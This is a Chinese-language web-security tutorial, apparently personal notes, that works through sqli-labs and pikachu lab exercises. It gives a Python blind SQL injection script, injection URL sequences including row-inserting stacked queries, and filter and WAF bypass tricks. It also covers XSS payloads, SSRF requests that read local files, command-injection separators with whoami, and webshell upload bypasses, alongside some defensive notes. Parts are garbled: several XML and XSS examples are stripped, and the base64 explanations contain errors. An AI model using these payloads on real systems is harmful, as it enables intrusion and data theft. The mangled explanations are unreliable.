Z | 0.0006 |
最大值 | 0.1268 |
报错注入手动的话需要很大工作量,这里提供一个脚本:
import requests
def database_len():
for i in range(1, 10):
url = '''http://127.0.0.1/sqlilabs/Less-8/index.php'''
payload = '''?id=1' and length(database())>%s''' % i
# print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print(i)
else:
# print('false')
print('database_length:', i)
break
database_len()
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqlilabs/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
# print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
我们以sqlilabs第五关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-5/?id=1
http://localhost/sqlilabs/Less-5/?id=1'
http://localhost/sqlilabs/Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+
随后可将concat()
中database()
替换为查询语句,记得在左右两侧加括号:
select group_concat(schema_name) from information_schema.schemata
select group_concat(table_name) from information_schema.tables where table_schema='security'
select group_concat(column_name) from information_schema.columns where table_name='users'
select group_concat(username) from security.users
select group_concat(password) from security.users
if(length(database())>1,sleep(2),1)
的意思为:如果数据库库名的长度大于1,则MySQL查询休眠2秒,否则查询1。
我们以sqlilabs第八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-8/?id=1
http://localhost/sqlilabs/Less-8/?id=1'
http://localhost/sqlilabs/Less-8/?id=1' and 1=1 --+
http://localhost/sqlilabs/Less-8/?id=1' and 1=2 --+
http://localhost/sqlilabs/Less-8/?id=1' and if(length(database())>1,sleep(2),1) --+
随后可将if()
中左侧条件替换为查询判断语句:
substr(database(),1,1)='s'
堆叠查询可以执行多条语句,多语句之间可以用分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。
我们以sqlilabs第三十八关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-38/?id=1
http://localhost/sqlilabs/Less-38/?id=1'
http://localhost/sqlilabs/Less-38/?id=1'--+
http://localhost/sqlilabs/Less-38/?id=1';insert into users(username,password) values('www','www');--+
我们以sqlilabs第二十四关为例。
先注册新用户,用户名为admin'#
,密码为111。
修改admin'#
密码为123。
此时查看数据库可以发现,用户admin
的密码被修改。
宽字节注入原理:
通常来说,一个GBK编码汉字,占用2个字节。一个UTF-8编码的汉字,占用3个字节。在PHP中,我们可以通过输出echo strlen("中");
查看字节数,页面编码为GBK时输入2,UTF-8时输入3。MySQL在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c
就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤'
的时候,往往利用的思路是将其转换为\
。所以如果我们输入%df%27
(%27
就是单引符号会被转义成\
也就是%5c%27
),在后台%df
会将%5c
吃掉”,组成一个汉字(%df%5c
是一个汉字)。
我们以sqlilabs第三十二关为例。
注入顺序依次为:
http://localhost/sqlilabs/Less-32/?id=1
http://localhost/sqlilabs/Less-32/?id=1'
http://localhost/sqlilabs/Less-32/?id=1' --+
http://localhost/sqlilabs/Less-32/?id=1%df'
http://localhost/sqlilabs/Less-32/?id=%df%27%20union%20select%201,2,3%20%23
打开浏览器中的检查工具,输入 document.cookie
即可获取cookie值。
也可以通过burpsuite截获数据包查看cookie信息。
我们以sqlilabs第二十关为例。
修改Cookie字段,注入顺序依次为:
Cookie: uname=admin
Cookie: uname=admin\
Cookie: uname=admin'
Cookie: uname=admin' or 1=1 --+
接下来即可通过常规流程注入:
爆库:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(schema_name,0x7e,0x7e)from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
【因为使用union select必须是union前半部分报错后半部分才能执行,所以我们就需要让前面的uname的值是一个错误的值】
2、(updatexml)
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e ),1) or 1=1 --+
爆表:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x7e,0x7e)from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e ),1) or 1=1 --+
爆字段:
1、(union select)
v' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x7e,0x7e) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1) ,floor(rand(0)*2))x from information_schema.tables group by x)a --+
2、(updatexml)
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),0x7e ),1)#
base64编码是从二进制到字符的过程,它可以用于在HTTP的环境下传递教程的标志信息。base64是网络上最为常见的用于传输8bit字节码的编码方式之一,它其实就是一种基于64个可打印的字符来表示二进制数据的方法。
Base64编码要求把3个8位字节(38=24)转化为4个6位的字节(46=24),之后在6位的前面补两个0,形成8位一个字节的形式。 当代码量不是3的整数倍时,代码量/3的余数自然就是2或者1。转换的时候,结果不够6位的用0来补上相应的位置,之后再在6位的前面补两个0。转换完空出的结果就用就用“=”来补位。每76个字符加一个换行符,最后的结束符也要处理(一般来说出现 == 就是结束了)进行编码的步骤:
1. 将字符串转换为二进制串(原本是3个8bit为一组);
2. 将二进制串分为以4个6bit为一组;
3. 每一组中的每一个6bit从左往右取之后高位补两个零形成一个新的字符串。
4. 查看BASE64编码表,编码的编号对应的是得出的新字节的十进制值。
例如1:
5. 原本的字符串是“张3”,将它转换为二进制串是:11010101,11000101,00110011(3*8=24)
6. 分4个6bit为一组,所以110101 011100 010100 110011为一组(4*6=24)
7. 这一组中的每一个6bit从左往右取,之后高位补两个零,所以第一个6位:110101,之后高位补两个零:00110101;第二个6位:011100,之后高位补两个零:00011100;第三个6位:010100,之后高位补两个零:00010100;第四个6位:110011,之后高位补两个零:00110011;
8. 形成新的二进制字符串:00110101 00011100 00010100 00110011
9. 最后得到的十进制串是:1cUz
base64_decode(str)是PHP中用于base64加密字符串的函数,base64_encode(str)是PHP中用于base64解密字符串的函数。
我们以sqlilabs第二十二关为例。
通过抓包发现uname内容进行了加密。
打开Decoder模块进行解密,YWRtaW4%3D
中的%3D
其实是URL编码后的=
。
对注入内容进行加密。
使用加密内容进行注入。
其他步骤不再累赘详解。
X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP
追加在X-Forwarded-For
中。
使用Burp的Repeater模块对请求进行修改,分别修改X-Forwarded-For的值如下所示:
X-Forwarded-for: 127.0.0.1
X-Forwarded-for: 127.0.0.1’
X-Forwarded-for: 127.0.0.1' and 1=1#
X-Forwarded-for: 127.0.0.1' and 1=2#
若存在漏洞,可以继续使用union注入方式完成注入。
常见的绕过方式:
具体符号或字符绕过方式如下。
select/**/user,password/**/from /**/users;
select(user())from dual where(1=1)and(2=2)
使用十六进制
select column_name from information_schema.columns where table_name='users';
如引号被过滤,可以尝试使用十六进制来进行绕过,即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;
在已知数据库名和表名前提下
select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名, 然后尝试得知哪些字段在哪个表中:
select username,password from users;
宽字节注入
在使用盲注的时候,需要使用到substr()、mid()、limit
这些子句方法都需要使用到逗号
substr()
和 mid()
这两个方法可以使用from
的方式来解决:select substr(database() from 1 for 1);
join
union select 1,2
可以使用union select * from (select 1)a join (select 2)b
代替like
select ascii(mid(user(),1,1))=80
可以使用select user() like 'r%'
代替limit
中,使用 offset
绕过limit 1offset0
and = &&
or=||
xor=|
not=!
an/**/d
id=1' union select 1,2,3 or '1'='1
即虽然无法使用注释符,但是可以闭合,或者:id=1' union select 1,2,'3
or 1'
and '1'='1
like
!<>
, 因为<>
是不等于regrep (正则表达匹配)
greatest(),least()
strcmp(str1,str2)
, 第一个参数小于第二个参数,返回- 1,否则为 1in,between a and b
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
大多数CMS都采用过滤危险字符的方式,例如,采用正则表达式匹配union、sleep、load_file
等关键字,如果匹配到,则退出程序。
其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增、删、改、查。
www.abc.com/?params=
。
'οnclick=’alert(/xss/) //
,这段代码就会被执行。通过在页面上植入恶意链接,诱使用户点击,执行js脚本,所谓反射型XSS就是将用户输入的数据(恶意用户输入的js脚本),“反射”到浏览器执行。
php源码:
".$input."
构造payload
http://127.0.0.1/test.php?param=
此类XSS漏洞是指,用户输入的数据(恶意代码)可以“存储”在服务端,只要有人访问这个包含有存储型XSS代码的页面,XSS脚本就会在他们的浏览器中执行,这种XSS具有很强的稳定性。所以也被称做,“持久型XSS”。
通过js脚本获取cookie值,当然,在实际应用中,应该是通过植入链接来将js脚本植入的。
类似于反射型XSS,但是,这种XSS攻击的实现是通过对DOM树的修改而实现的。
Title
构造payload
' onclick=alert(/xss1/) //
或者
' ><'
就可以顺利弹框了。
JS编码
三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
HTML实体编码
命名实体:以&开头的,以分号结尾的,例如<
的编码是<
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为数值;
,例如<
可以编码为<
和<
。
URL编码
一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
# | < | > | + | 空格 | & | ( | ) | / | . |
---|---|---|---|---|---|---|---|---|---|
%23 | %3c | %3e | %2b | %20 | %26 | %28 | %29 | %2f | %2e |
过滤输入的数据,包括'、"、<、>、on*
等非法字符。
对输出到页面的数据进行响应的编码转换,包括HTML实体编码、JavaScript编码等。
CSRF(Cross-site request forgery,跨站请求伪造),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟XSS相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量等。
CSRF的攻击过程有两个重点:
我们以pikachu靶场CSRF(GET)为例。
登录任意用户,修改个人信息,使用Burp Suite抓包。
使用自动构造CSRF PoC功能进行构造。
复制该代码发送到网站上,并诱导用户进行点击,即可完成攻击。
验证请求的Referer值,如果Referer是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是其他网站域名或空白,就有可能是CSRF攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。
CSRF攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此,抵御CSRF攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务器端验证token,如果请求中没有token或者token的内容不正确,则认为该请求可能是CSRF攻击从而拒绝该请求。
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。
http://localhost/ssrf.php?url=http://www.baidu.com
http://localhost/ssrf.php?url=192.168.0.2:3306
http://localhost/ssrf.php?url=file:///C:/Windows/win.ini
非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统绕过命令等。
文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,例如在httpd.conf
中,如果配置有如下代码,则能够解析php和phtml文件。
addType application/x-httpd-php .php .phtml
所以可以上传后缀为phtml的WebShell。
在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值是application/octet-stream,而上传jpg格式的文件时,数据包中Content-Type的值为image/jpeg。
如果服务器端代码是通过Content-Type的值来判断文件的类型,那么就可以通过抓包修改来进行绕过攻击。
在php中00代表结束符,会把00后面的所有字符删除。
截断条件为:PHP版本小于5.3.4,PHP的magic_quotes_gpc
为OFF
状态。
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段破解所需的信息。
如果用户登录次数超过设置的阈值,则锁定账号。
如果某个IP登录次数超过设置的阈值,则锁定IP。
注意:锁定IP存在的一个问题是,如果多个用户使用的是同一个IP,则会造成其他用户也不能登录。
应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令。当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。
Windows系例支持的管道符如下所示:
|
:直接执行后面的语句。例如:ping 127.0.0.1|whoami
。
||
:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2||whoami
。
&
:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
。
&&
:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
。
Linux系统支持的管道符如下所示:
;
:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami
。“I”:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami
。
||
:当前面的语句执行出错时,执行后面的语句。例如:ping 1||whoami
。
&
:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami
。
&&
:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami
。
逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整性。一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处。其中越权访问又有水平越权和垂直越权两种。
水平越权:相同级别(权限)的用户或者同一角色中不同的用户之间,可以越权访问、修改或者删除其他用户信息的非法操作。如果出现此漏洞,可能会造成大批量数据的泄露,严重的甚至会造成用户信息被恶意篡改。
垂直越权:就是不同级别之间的用户或不同角色之间用户的越权,比如普通用户可以执行管理员才能执行的功能。逻辑缺陷表现为设计者或开发者在思考过程中做出的特殊假设存在明显或隐含的错误。
越权访问漏洞产生的主要原因是没有对用户的身份做判断和控制,防护这种漏洞时,可以通过session来控制。例如在用户登录成功后,将username或uid写入到session中,当用户查看个人信息时,从session中取出username,而不是从GET或POST取username,那么此时取到的username就是没有被篡改的。
XML外部实体注入(XML External Entity)简称XXE漏洞,XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
常见的XML语法结构:
XML声明
文档类型定义(DTD)
<!ELEMENT body(#PCDATA)>
]>
Tove
Jani
Reminder 文档元素
Don't forget me this weekend
其中,文档类型定义(DTD)可以是内部声明也可以引用外部DTD,如下所示。
内部声明DTD格式:。
引用外部DTD格式:。
在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在内部或外部进行声明。
内部声明实体格式:。
引用外部实体格式:。
libxml_disable_entity_loader(ture)
。Web应用防护系统,英文:Web Application Firewall,简称: WAF)。
百度百科:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际来专门为Web应用提供保护的一款产品。
软件型WAF
由于安装在服务器上,以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以直接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。
但是同时,由于它是软件,如果要实现对每个请求的解析、识别,可能会存在占用服务器内存过多的情况。除此之外,也存在误报 的可能。因而,软件型WAF往往适合中小型网站。
硬件型WAF
以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,当并联在旁路监听模式时只记录攻击不进行拦截。
常规硬件WAF的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。
相较而言,由于是硬件,所以一般情况下可承受较高的数据吞吐量,且当管理员选择串联模式接入时时,同一个交换机下的所有服务器,都将处于防火墙的防护范围之类。
云WAF
它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。
优点有部署简单,维护成本低、用户无需更新、可充当CDN的特点。缺点是存在轻易被绕过的风险,由于云WAF的主要实现原理是通过将用户的DNS解析到云节点实现防护,这样一来, 如果黑客通过相关手段获取了服务器的真实IP地址,然后强制解析域名,就可以轻松绕过云WAF对服务器发起攻击。同时,对于某些对数据机密性要求比较高的企业来说,云WAF也并不合适,因为如果使用云WAF,所有的数据会记录到云端,这相当于数据被别人保管,可能存在一定的泄露风险。
一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请来报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送的际网站服务器进行请求,可以说是带防护功能的CDN。
NS(Name Server)记录是记录域名服务器记录,用来指定该域名由哪个DNS服务器来解析。
CNAME也被称为规范名字。这种记录允许您将多个名字映射到同一台计算机。
网站系统内置的WAF
网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。
大小写混写、URL编码、替换关键字、使用注释、多参数请求拆分、HTTP参数污染、生僻函数、寻找网站源站IP、注入参数到cookies中等。